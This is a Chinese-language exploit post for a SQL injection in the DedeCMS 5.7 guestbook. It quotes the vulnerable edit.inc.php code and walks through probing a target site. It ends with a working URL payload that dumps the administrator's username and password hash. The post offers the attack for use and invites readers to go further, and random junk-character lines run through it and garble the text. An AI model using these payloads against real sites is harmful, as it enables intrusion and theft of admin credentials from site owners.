dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
, {: H  F: Y3 C7 ^
漏洞文件edit.inc.php具体代码：
; p+ F6 [' j, E9 S% S+ ^& n4 Q" J
< ?php  
- |9 I- k* L8 D) w/ a  q5 X
if(!defined('DEDEINC')) exit('Request Error!');  
$ }5 G% g2 K& y+ L6 @" O  K
. r8 R" w( E* `6 L: Q, _' O   
; H# y; \  u1 e1 C) K
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
* U( N8 G4 h( b1 j4 |# d
2 T" N4 R5 I, r   

% h: @' h* `0 j$id = intval($id);  

2 a  M" d! R4 r6 G& p/ ^9 dif(empty($job)) $job='view';  

; a4 D0 x, @& T+ R" }   

; T) R5 B. E9 R1 ?) B3 Pif($job=='del' && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
! l( d& X# P( t4 Y
* i/ m$ O' t6 m5 Kexit();  
4 S% I8 ^2 c5 n4 H+ E- G' p1 d& p( L
}  
; _. x1 Y: _+ j" ?: B" ^
else if($job=='check' && $g_isadmin)  
( T3 ^! {6 ?6 y+ p4 n) i
: k  M7 A8 b, G6 h% D{  
& i8 \3 I' B9 o' ?7 y- ~2 a8 G
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
6 a, H: O% u; ~; R. [1 Z: l
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

2 T, f' {3 N3 j0 x$ y9 K: xexit();  
3 D4 H5 M+ g% b
}  

+ N3 v4 `$ y% I1 C( Felse if($job=='editok')  
& a2 u8 X: Q! P% R% X; q
{  

! k" a5 u3 p1 z5 ?' a# b$remsg = trim($remsg);  

if($remsg!='')  

{  
! G# ?4 Q8 P8 H$ R$ M
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" ]7 Y5 D% k" {# J! h, P! g
if($g_isadmin)  
% I3 K& a: F$ P4 v, C
9 I( G% J- ^( b2 V{  
0 E' `) Z! r3 P) K0 s% J. T1 `
) d/ @8 G( I+ o8 X( _. I3 u; y$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
$ B1 v6 O# X' _* ^1 W8 ]
//$remsg <br /><font color=red>管理员回复：</font> }  

else

{  

/ b9 D: Z$ O9 Z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

+ H" B5 K2 m3 v6 I) f: v. p$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

: B3 G& k$ }4 Y# ~$msg = $oldmsg.$remsg;  
# T9 y$ g$ ?- O! R, k7 P9 p, u
}  

3 u4 s+ W9 {) X) I  g" ~* n}  
  x* [8 F4 D, \6 n0 R* h
' L* p- X8 ?& j0 H# J  K4 Q9 O* {( T//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

$ X1 G. p$ z/ j4 \$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
# T1 T4 d- Q& T
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
7 d" `. a$ T% M6 E) s3 v' K
exit();  

}  
1 @& U6 S6 _! H' O3 y6 h$ S; g& s
//home:www.errs.cc  
. B+ i' O$ m& ]+ `4 ^" W% J
9 }' S' i7 Y0 ~# lif($g_isadmin)  

{  
$ d# P, I5 p' K( ^' J. S# l
' z6 h; g& Y/ B$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
* Z0 J. d' E* M/ C) g$ o8 {  a
1 P) Q, c; X- v$ X- T}  
7 p8 t+ }$ b& F4 P. ]  \
else
4 o5 e9 \- B6 I% c3 w8 x7 O5 `. P
' A7 `6 h$ e: B9 t7 e. G( Q; O& k- t{  
0 l6 k- V7 {* P2 j2 j( B
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
" H5 R( p, O: t. ]( f% {; [( N
* I) f6 Z6 S* [require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

5 w) ~$ ^" J6 |7 u2 g4 f} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 e, e: y1 r; k/ j
$ ?! Y& ]5 Y) Z% J; C- Z怎么判断是否存在漏洞：
: X: K6 v' v* H7 c2 [, @先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
+ X5 p- K" h0 i, C. {4 m0 u5 @+ M然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 T! D) o' y% g" ^& @访问：
4 l8 j# j" X) n) w# \+ {
9 [# Q+ m% S7 O7 A8 [www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
$ j% d6 I6 L0 v# l# Y
% X( X" j! Y  z9 [/ Gwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

' G8 F/ [% T' ?3 K* I% T大概利用就是这样，大家有兴趣的多研究下！！
. l; A/ k) j0 t' P. o
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
$ M- E; j, w4 k; b5 b
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='